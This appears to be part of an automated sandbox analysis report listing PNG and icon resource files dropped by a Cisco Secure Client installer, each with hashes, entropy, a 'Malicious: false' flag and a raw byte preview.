SHA-512:	B2B94E806A4F1F8BACAA2870944C75952A9C9F0577AF6571BFF65038DCD242AF5B887E400430E8E8B0B8E8BD2BA7A7318247581304C668662A7A6A255F142A12
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...MIDATx..Zyl..u.s......x..$J.i).l.......6..8.k.h`....(Z.UZ.Q.-....4n...l...6r.@r.#J.K.M..O.7w.......{..R.E.....@.vvw...{..~..~....u7.).......Np..r..K.(f..%!.LB1k....p.......E..l.........x.."{$.Wl..hY.lAO.R..B>d....c...D?................=...[....N....;.\|..d.T.&..q..."....I...pi8...?...6...s.R.....z.......U5.pM{.j..C..k..wW.....W.e..X.....9"...Q.@.y.G.,.x<....Y...]....\.wn.........YsI..+.....m.?.o..^...`@:]...w#.sv....x....@..0As....!...j.^.q.~..G..z~x....q.....J..a......6=td.=.M..Z.k..,.#......i.......xP......S.A. o.y.`A.C.i%..5~......_.Y.?/.%.=z..dr...N..X.lz.....\|......x.s6.d.". ........l....@Te.C.)..E..@..%.$..e.&..r..g...9.]k}.t..R...%..6..{............G^.o....F.!.F..Ar*`.<....L...&......S..y\|..,$.Yp......A.X.t..N..q.....d.p0.A[S....m...2.g..nr...U...../.vu.........Z".Cl6.....Dt...s2.....l.`.(Z.x.2h...3.f....M.<.F.H)......q.H..p...n.M.......T..._..v?..5(x....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-58HTE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3638
Entropy (8bit):	7.889316799889741
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTH6gOjEda8+nWKHD:TSDS0tKg9E05THXOodrpKHD
MD5:	ADDC960D6A70987420055E0DEBCF4250
SHA1:	AF1D0C9386C1ADC774FC167F69B89637F414BED9
SHA-256:	B19F731C03166DB50BA5E0F0AD70A48E1223E7DD57B051A3DFB8CC23FBFAB482
SHA-512:	8F6D2CFA6BF8406CB2954029C0A43F3871C2C35E19CC0580925D4E847BFC6377749AB2A3FBF8CA030D55AEC3729AED6F54F7D7534A593A24927C8E274A811E1D
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-6CU6G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2860
Entropy (8bit):	7.914852791051157
Encrypted:	false
SSDEEP:	48:1vgVWGnIUiSbzr6C6bm/8B3fMKfxYtg+hRKdQr5iQGAOUnonGVY5Q14pUcblw/Gu:1YIUxbavbmUZxYtVXABUno7Q5cblwDSI
MD5:	DA68BAC3A525CC1ACE0BC4836A49D3D5
SHA1:	5C7D343913F75C7595BBA487031056B54F2AC6CE
SHA-256:	DC088A5CD630537A875466B7278DDDE0E54203C733D0950F67B0D3896B671A09
SHA-512:	A5F4BCC1A2CADF82927CEBD0373694086BDF955D7B755118255AAE3FA7CF7EB05748C81B35A759A8202991B2B2D5F77709FC84C58D0554430BE3AE8B51519264
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\.L......E.ki....`S.uB&HRP......E7.5.f.K.t.e....lV..ve.M'..@..."..t).U.R.(r@I....^.......;...._B.......w..{..y...Q.a.df......G3.T......&.....`.q..2Z2..h3...Q.....d..q..b..?.9}......6...I5DT.7u....B..i...._.........\.>..........U..r.=.]....rb. !'{-m...DO..N.\....,.'.TO.t!..X...(';]......KT.N.pE]..1AFK&\.(.%.....!iK...^;V%..6.u..CB...Jh.\....f1............&..2Z2!..`5.r7.+.wSlL....?.......N..@..8.M6..2h=.h..ID.bc...YRD?}....4...O.=.O..I+.....sd..d.=.o.D.&.89...WD.,=H..)z.'`...xZ.n...vD....l0Ynj!.g...C.9qd..7.....D..M:..y>Y......9.I..i.$..=....C.G..lu.....L..u.`..b.{=>Xp#).`....o.]^U.x.s56&:......w..rI0W'...C{uO7f.h.4i`p.!..jqR..k .L.:0\.=.n.7#K0C.U.K...X...b<}x.A .._....?..=..a.n....o..v=.N..9jQ.C.....kJ2.,....?v?f.A.../^h.,=.).Df.P..p....$..{Dz...C:v..t.......[G.a..>3.R...=..Z....X....}%.CV...J....p.6<......}v....T..3.5._].....c.V.~..A.z.....x./^..q....?.......9 ....5.?.Xy...s ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-72H83.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1856
Entropy (8bit):	7.845521158056495
Encrypted:	false
SSDEEP:	48:M5K2A2T3d0z5uOpdNSaQfbDS3YsPWaU3SjmUjm42rh:Mg2A9z5Fp1W3otPW5p
MD5:	AFAF04A11862845AFC31D64F7762D28E
SHA1:	C5E99C3DC321086738CB7BCF13EFF55EBDF1D3CF
SHA-256:	6797601AA69F2B489ADAB85A6DA73E78D4E041D24598BC726A3E837D2BE2D75E
SHA-512:	3D463D3EA19E87E8B592974BF4B69F4F6F5DE08975BB04AB0C180AE7CC49C9866E7B40F2D5890E50E7BF0FE2F8830125335FECB7C4FED8F2AF6045F8E66E18B4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..r.F...I.t..X...&T..P.JT....d.)0..@.....I.T...~..L.9...".....s.7..{D..\|..?w.D".H$..D"......$...h..{...#..C..6dDt...0..]..6.v.<.,.....8E.k...$.h..j)..s...C.XE.r]5\..E\|..].bDY.....Rl...\X..p]WMt.,..Q..O...Oe...........\..b...1.\|BY.f.r.d.5.]..#e..h.u]5.y%...DtGD....q_Z.m.Vi.+......5....{G.^~'..-.8..Xx...xK.-...[.a...2_wa...%....E..!...m1XKi.d...r...o.v.>.SIeq..)m....AH.....^.F.?.....w...?.s.G.......^r...G.(.viDh.X....O.>..+..5@....9....+..]W......m.emb!...../....W..WS?8d.E.<.Q...S...!.!#.R.u5........4..Qn.F.G[.PYQY@...D........\|..,..am....h..k..e"0'....IQJ..@N..7...&^.Y.S..........Q[o..../\|j":.xnb._q...{^c'..Lz..!(.t..t..k.X...n..+................xLkzz....W..RVr.....Q.wy.T.........]... $n)d..#..........%..}.Hx..q..,T7..F..v....=7p..$(....].S.....D......=...m.B.......ML ..%...X...U.*...e..H..EM.?......].....D...o.).M...W.P.h......=..#..4...Z..0Yn.E..?...K ;K.$..n..Zq-A..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-78VGH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.010961844615086
Encrypted:	false
SSDEEP:	96:+9/hYGSEklnePwwDIr4LcARtTmOj/FrzFkT7goo:+9/CGShEPJcX87v
MD5:	393317DEF43F554C69A8ED63065E5BBE
SHA1:	09185B8B3C21C5CFB6661958665B6D997BF64E6F
SHA-256:	92ACFDA492B05FAA52BD32E9581F028BEE55F1C5AF617ACD8EE9E6985C9D1CBD
SHA-512:	9C7B0D37DA9080F27F0116F0C45AA5CD2D9480955433D60CCEE1555C0D930081655705C65565C7C18B766458530FA5B8DD641E7D2F8776BBB8650B7D3A95351C
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................@................................IA.P..s...s...s...s...s...s...s@............................................................................................b[....y.&...,...0 ..0 ..,...&.....y...s...s......................................................xh.cB+.M'..M'..M'..M'..J&..$.`.".../...0 ..0 ..0 ..0 ..0 ..0 ../...".....s...s.........................................z]J.M'..M'..M'..M'..z]J.z]J.z]J.+.S."...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..".....s........................0..........w.M'..M'..X5...xh.......................y./...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ../.....y...s@........................z]J.M'..M'...xh.........................qj..&...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..&.....s.....................z]J.M'..X5.................................8/..,...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..,.....s...................w.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-7HEBA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26674
Entropy (8bit):	7.935979285003627
Encrypted:	false
SSDEEP:	768:YFyemvD4Gm3D6kkgmo+C24RkZErZWiTVCbFk:YryD4G+Dcgmo+C9kZsZWpFk
MD5:	B1655EC01B232A1A42E43F950321285A
SHA1:	F34C1F228C66BF4ED1B0E9901D3284EBD7A01600
SHA-256:	9E2447F1B7B4A3404C8D3588DAB59CF51635049BE4F1FC0D1BDEE77DEFFC5B47
SHA-512:	BCC1BC2AE795109EF83422613D9B0D9FF23EA81136479748FFA7CD7FC03D527B4744833728637F7892B5F60DD476F1F32122AECCCC26DB2D6092CD2346A750BA
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Oh%G...G........4..TSG.nO....j..CI.s.7%...fa..ofQ...x;...<^/,y1.a.R...RA/.f!..)...R....\K..]......'Od..........d.tN.<...../.O.9>.............}.P8e.M.:8.'#........z.Z;.)K.,--%..'.?a..GB...[1r..I\2...4?..SKN\|`. ..E..n..hz..mll.z".KhG\>.i.2....;.....\|\.ywww.......a..{2..Io~.UO..t...'ckk....~.....zB......I.R.T9!.OF...\|...e(z#.N....o.P.+eOH...]..~..@..!...=....'>...+O\.u..Z.yo...{.......2ieX9..(.Br):.k!..I.c.}S.'cccc..F.......0q"l...k....ve.>...p.coRw2r.D.[...}....h>.Q.B<.......y...{&B.<...{...9.e7`.......w...\.Mt..EU...h.].....r.G..;y..`.d..C6.Y.z#.f.r2.y.5.W.<.#!..!..[.5.yp;...OFL.Brv.V.uoe..O....aV.2.p2....d.t.C..'..e...Q7-.g...._...3.N<....}D:.`3.....n.^.0..X.VF..f.'.u...W...p}.(Y.#......M?.......r4.\|......@).GGz/`...U....3............F.C...[.5...;..kv.[...+k3$......N...c......j.B(..Z...k....&...8.._..E..M..(I..u..Td.....R....C.......b....E/X;....#..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-7KNL2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	9482
Entropy (8bit):	7.969513879342907
Encrypted:	false
SSDEEP:	192:LXNXFLy+vMbgQbCoVANBzT84c2blwwjla7:rNX5ggQOoVIzwHwxA
MD5:	21841588532E34397E478E791A064F2C
SHA1:	90C0BEAC3D3A1288FB7BED658835BB6710E67922
SHA-256:	9D0F626E21D3324BE7CB473D44514737D9A9145B86E73F67EBFD6DE308B36FCC
SHA-512:	B0006DD98C201AD06F79166FD53F67C61C60C48C1506153EA47AB7F38A7D4F6CCACDF9E369AC0EFAD36B396786EDFD1FBEF8302D1F2B1F82BE6D784936ED6CB0
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx..ml]......$..B.^..R.BI.mPB..i..B.I.D.B...i...b7M...B...TI.CU..K...6%.\.5...T.....B.iU....U...x.d..y=g.9...dp..{.s.y^.y!e.1....z..BN...........[.~..X......Q.PO.w.!......k.d.M........x....y....<....O.oe.o."<...d..f.&2..".....(..{..}..C....]y..).xq.]...7....M....{......:'..'^.......9..0.._..~....#3.^M.t.0.....................\v].3.b.....ONz{.._..........m_..\..5W.buE...q..>...xE.+qA{E>^._.....f(...p5..s.fgI............_.z./.+V.>N.....D..). .q..9..!..9#..-(...^...G...].E.l.>..2...o..t/"C...x.\........u/ S\|R..)-WMK..1..\..{..&..w..V.^...U8_A(l...Jp.....y.#..b{5:...F0-..N.c..ne..5....&.Kf(j7O....../0..N.[K.#Q\|.K..cfjb;..N.....8.{....n#.j.O...Z._;.m.jWfp~.............. .w.}.<....\1X?+..4bi]..H)../.".....f.&N^......8..S..]...3..Cn..z]l.,........_...ek.e.F.-w?....i..i.B&./..........>.\|r...Ii!....Q...t2._..HHCBx..B...<?35.J.....V/..s-...[..k..V.v.a.50..teS..w`fjbm....qC.....;89+!/@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-7RGET.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4117
Entropy (8bit):	7.943813748161345
Encrypted:	false
SSDEEP:	96:79m160UrZetyDZrcRzRB+6nB49EkDPzkWb9PhkqjhqBx1DNo:79G6xr6yVrkzRB+UkEWb9pji1DNo
MD5:	04127248AAA5B7D32DC2DE4F02DA025F
SHA1:	6509E437F6503A9975953B955054D29ACE439D5F
SHA-256:	946B8C23BF05558B52D273502A65731A5E412C9E02A544748C5E5C27A3ED6D0D
SHA-512:	F26907895DAAEEE025FB20BCD22803F1151A5D5037B85FF1DCD71DA98E78C417996C08759F646D8E463FB6DD43A36F10092746D6520F9C70BE4AC03AF3B5F48A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..Z.l..u~s........)..(.,KQd.Ih...D5.q..(..@."6..E[.P...r.F..5..H..@Z'h....(:...P4.S..]..=..{..R.D.....@.;...w\|.{..............@.DW.8........`.@/.!.N....o..r..D.\..]..? .";U_U...R../q.b.e.e..%-S..J..._1.....0...P(.....!........U.......kg.6...-....^.m...8.....E..3E.r}...._..fg&..............f1.....B.u\.g....zz.w...NWoc.... ...m.....9Z.'.....l..a.L..?.KX?>?V.:84X.../..7...._....#..zT.~.{wu..B......VI.l...e..F^.l...Hy...1..4...[.p......S....j./.t.0..c..O..Z6wGiw'..h........8..`w.g.5.Q..&.Gxd...@3,..z...8.T...,..VAP$(.tm... .. ..........\.`.Q.hQ.I\v.].....N..............}...@...%...........x.x.DU.e$..m.5%..(.A".X.d@r...d.l....:.B..Q..U.H.5....X...k.'...p.>.ZCWo..{...j.2...[....Fg...0.\T...4d.'....%H.....@.k-...4!.+..B..Obr.=948..BgK5?..;Sv`.....)\d........u..}.pw..G.s.TV..R.<.7S......0}.......h.9...NG... W4..<*.!..>.U....;c.>..Z.sR..<w......I.....G:.>..#"...%...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-8FIQ4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1916
Entropy (8bit):	7.856747119568193
Encrypted:	false
SSDEEP:	48:22S/53y4Zw3U0f7kxCsJUAxuLYSze4OnbQipPVeOh2JaM9:2lA6aU0fITJUA5Sze4AbQuPVmJaM9
MD5:	88A7B064DF22129CF129C4C589E1A92E
SHA1:	FE205F326656F8468B6FF7B9702B26E0BA450D35
SHA-256:	2E7D51E65DE4287C47C4BA96A394FD678F56F6A4BAAD7E35407BDD7D52DE500D
SHA-512:	87015E250E1659A0C5A90C85F85D01DC3B19AE079BA2574A2F6276AFF97E89A6B90BA5AB855EBC7B29AAB26C4ADB64B44EE64E210DCD0A02CCE70529D0FC3910
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]=r[7.....eJ.Kg.M#..~>...H.. ..8.O .L.....T.......p.&.....P.7.G....a..X,...........m..}7:...9...o.u.7.9.,....3...>.x...^R...........y...F.."eC....dzk...5.T.).hHD.US)L.`..x^..eIA2~...`..W.g%.T..ndT.u.d..r.[r.6.6PM.=...\|....<..9..j.$'...GJ7.J...s..........<..3...Ip.C..'.....9.....G.H..C.'..n.._&i.!-)....v......'M..p..=M........=..4R...7.$b.;.iH..9.Q.....]P.%.OBL\|R.............j.T....Lc.:.):B....f5P.]+..c.>.....!.Tz8.P.N.#..@nw0.H....$.:{...K.. .%......xG...3...OA..,.9..u.b.....<....v.H./.....k~.o...8.%.'.....w.'.'.%....!t.{........).oL...y?_~...K....>j.....]3.%...$.Cr@....l+.`...Y..._0v.4.s...@3._...]{n..)...wRpO....%.w..h2.....v...p/.}..#j.@.d.t.F.HA)..`).r<.....'...cq..WI..>...qy.......h........MJ..B(W. @....\1.SK...pz.kL......2{"hF...H..'.m"........K..2...).3a.....5.NR.an.\}.t6..is0T.&....2...6..H..U_6..E....$g...S..Nm..d+qp/dI......r.b....>....q/.8Qm..I.......%.P......I...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-8TDMC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12252
Entropy (8bit):	7.977665916091742
Encrypted:	false
SSDEEP:	192:wld0FFxadXOHqBRtSDkAW0C6j7dNirKFbu+MMIxh0kOeg+Y/meTYeJlJlFrQ/:2oFxTqvt4TW56j7uraNw70kkHd/Jnk
MD5:	864800C5743CB649C4616758EA169E4F
SHA1:	3A02818977AF60D5DA37011CFC35DF11FC467906
SHA-256:	EF07FC7A9E194C9F076CF86C65E292816AAF666C00400A0BE8F70FB7740E902B
SHA-512:	ADE99880BB1B1A1FE3ED348AD625D6301FE8631E594E1CCBBE8678245F5B1EE2BBF93BEF7101698CF909E93CD4BBF005DD20466D3A278A9CACE91B324A23A48B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....&......!.O....Z.(.....[p....w...X.Hp.uKp...&.+V.....A/.S[.l.....j.}...b$...M..gf.9..;7......;3g......)WH.]....>.y..t......6.O'N..8.#.v<..Kv........y....;q.....(..mG..8]..G...]...."l>........vd.C.....nHp...v!....Ks^?I.T..1%.U..s/...+.I.{Yv.2."/...`.p.........1?8L."lDo.e...O/..~..[..o..>. .o....-.=.]h.g.Y.......F.4g..../..x.......C.?..#...%.2...PNz...............-...i..8}.e?.......]~... .......t..l...FD.g`........3g\I.,ZD.7.+.....:7.6....J.T.?.f".....8.X.:2.j?......LK..G....h..l[...v\|...9.[p.6.<....$....\...^.o....Ti../.{.HQ.ID...o.jl.A..(......./...".6.'..V.....T....~...I....,t..Hh.zT.G...njG&...7.MIE.g....../S...i,..Z..D.D._..H. ..3......Y..2...O.........&.......)?...%.c.........eG.o..I,.N....wI..[:......./..+B..$..]l._..T..2<....;.v.~5t.I/..?..=..&.....U....L...L.....\|...0...w.....V....-.x.D..8...K/.d)......kj."......g*wo}\V.Q..8.).....?'..wP..?5A....K.1?8...e.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-9NN98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8594
Entropy (8bit):	7.973082494080156
Encrypted:	false
SSDEEP:	192:IhgOYUbtU91yZQm0IZ5GE1njVNMooVREvukNGEsuiaoYOyF40:IhaUpU91ScIZ5PjVNaREvpjiao4+0
MD5:	D1F876BC1C789A4108570185251B864E
SHA1:	9F91D3B837191A9499CD2959EC1802CF444D78AE
SHA-256:	DF137D0086B1A5DC1A0508643AB8DBE66A0A268A2A5E7A539EDF39F6957AF1AB
SHA-512:	4E1D5AE2D6539B38EDEFEC017B41DD50D7EA41AEF9B6783538D8D19D9C14E2D9411D2DF86AC672BD6B171A507F77EF2D4976003206DC4624687BA4588BAA6688
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx....U..G!o.<.........Mi@...t+iV@[H.X..-MZ...6E.lZ...X.>%jW..&..]-P.JV.<..Z...Rt..@M.mM7...9sg..;s.{....s.3....o~.H...w.......-...-.<.......4.5.y..d'....7......b..{.....]7..?u......}5y...M.k...`..U.w.............>.}...h..s.... ....Gu!....[tc ;....F...v...k.{.x.'U..;..-..'...B.Y....I...R..0Zw...`u.C...\|].....m...y...V.I..?.L.;.8.....Ez&\h.'y.........;...-...G.y/9....}...S.@..+._....a.9WZ...._W+-.B.>.m..:....o..\...<Mu`.a.........o..w.]@=/_\|9Y..~....b...>.dk..4VY...5...v+r"...qw....sm..&.]."y.x..I...kt!fw..Xx.....\.,}.=.gH..AgA..xV.\t..".0.(...8a\.QJ..k..Hu..........E..l/...4=x.54l..$j.k3M.../.l\|r.=...K.Rt.Z..........N....v...z..S...1^..u...P..j.BF.W...iH.....n).....=.s8...!bx.N<.\]....,.6..`..b~8...[..X..o..R.X.`!BiZ.0...t.im..o....n...s...\|W..<....K.by..o..l......{.KMe.....g.n5..b+w.B.Ilo...M?.V:X...!..&.KJ...?...Lj......._.~...l.}...=..HO.@?!d_.O.Vy.....QI=..b4...8t

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-9Q1S8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.01754566314674
Encrypted:	false
SSDEEP:	48:g/6G6GknA9Wg2A/c0glTl3clp3glfHiucV:gSuknmWg2A/qlTlslelfHiucV
MD5:	1F1425233D56C7381E8A1B9544656A3F
SHA1:	13DA3D280A4561F9018BFDF2C55396862B42C3BE
SHA-256:	FD348FEFE62E962AD34D03B3639E850AAEDCEAD2585311F8F665EFFF9319A6BA
SHA-512:	ACEC3FD68209F5AF45FC0736ECD9DB2441E69BD0A0DC43C45CEF2529BDC14B4D4A41696C0BED6E11876F066E137D29E270866FE86F3A20FC4CB9F09BA0EFE0AC
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T18:00:07-04:00" xmp:MetadataDate="2018-10-19T18:00:07-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c52f4fb1-426f-49c5-a2f3-2e915bfa2393" xmpMM:DocumentID="xmp.did:c52f4fb1-426f-49c5-a2f3-2e915bfa2393"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-9R5OS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12558
Entropy (8bit):	7.968059020803266
Encrypted:	false
SSDEEP:	384:uop8Zgd6lZbxmfVR68Sj8p3f/NMolH6FeIB9OxW:uo6Z4Ic6potlg
MD5:	D30964E871F60B296F5109215FC341DC
SHA1:	365DDAFC27D304BBB3B8A99D0A62504E5D2D0B03
SHA-256:	16FDE630F3C55080422FE6965CE08D3CA85168655C73E05E3F9B7C00DC14507A
SHA-512:	22E918B1187909FCF80ED6ED091ADFA6081E95A2482F6676DA84D8CD580CD4557D9FBDCDD948ACEA03A8001BABA4653F4C735672F668DB9D226F9362A079358E
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U...hr!#.D'..i.L.$.l..V...q+.....H..l,.h...T.v.Ui..@..,.....Y..1.i........BX%:..4.n.O../..y....s.s....{.}.....>.}.a\|R(.!.!e....\|.:..Y.Jm..g...E.....S#>...R....0..[Dt.....R...i1,Z9BDJ5B...b49e....b..Z.`..(B.lq..Bq...!b.#Zc!..,Z..P..,....R:S.#.MDe{.Jm..\|.L9,Z).B...E....Y......xX..E+%..\|..M."eD$u...z.y...}..H.' ..Z.....X...P...Buk..P."d.9x ......uq..;t..q....Q.y...=..'rv......h.F.B5...h.%....K...>...@........7i.....8t8..e.3..-.(K....DF..+F..>.4nTZ.&G \.......[.G.......\|3`.J.a.#....* J..&..e\|....x...g}..L...VA...O.....Q.\.U..{.He-...Dkk.NK..w..N~.z.'./N.c.E+&D..B.....~...4nt.#)U.}ml.fEc.\|....Z.....,Z.S(...)`.Z.U}...5}....cGa[_....z...8u......bu_....~.6ni.Ak..D`..ul.G...F._.("..b.ToZ.D.7g:.U.....L..x=....-.....0...fN.J...j...=.. ^..B..,^.a.RD..+.................}.xi.E+$a=+...n....G...uG..rB.z.a........A+...`6.Re.D\..B..'D....0(,Z>.=.+E..o.....l..Z......T..6..B..hyPf.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-AIQ2P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	7.261808950496785
Encrypted:	false
SSDEEP:	12:6v/7ye/67M2KK09AtPNFPQM7vcvei4A62GCv+OQRWqxEz:de/YM2KYBTcKA62VWvE
MD5:	E49813F0A990FD98318710C0F0BFDA21
SHA1:	FD09D47A8BA649393221D5048D3BFF1FFADD3496
SHA-256:	79C957FB0133496B0266E8F5441982D3F1DAB781B90FBC34F59D75968577CD61
SHA-512:	8883387871CBE8B3778F5D95A95700D99B7D4737696051436C06060C645F83E25255A76AA73CD5BA1B03FC5797D8F6B99D1B0E489B5421D26D4E7DBFD358EA65
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....SIDATH..U.Q.0.}e.. ...............N@..3I.A.!.../.......r......SXTW.t..3.n..g.....!/k.t..{....=.^.+E.U..KD.@..@..)..sV...7u..[!_+..F.......#.......?$....3.t....;8.D...N.pv.H...Q\r.....T.t..t..F......~....1a3g......Y..L.#.F%..-.(.o...bl.}..=...T.d2.[.x".m..b.V*./........T...(..+.>[F5....7..j..2:....-;.....P.w\|j..d.s.........&.cO........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-B2QLA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	75452
Entropy (8bit):	6.447447333863436
Encrypted:	false
SSDEEP:	1536:i6ORO3YabolewEiM0aJqCrvbURQDEb6b/4:ik3dolewM0agCrImD3w
MD5:	9C6F8BF269230734B04A82F610B9B912
SHA1:	2B81B2C45C94CA29330ED0223F21928BEAA66A3D
SHA-256:	3A5C49B91E68BE97E158E7A35C54996C45F1E9E8432927AF476D5F85BCF7B67E
SHA-512:	4F24CAD91616F50E1C28E0D44C66B0F6E6C89F38E9A07B81C43810862F3E76E77D897D6B06BB7CD2FEFDFC1E01011FA1CEBCDF2E6E53F347E98B9CEF7FCBF1C9
Malicious:	false
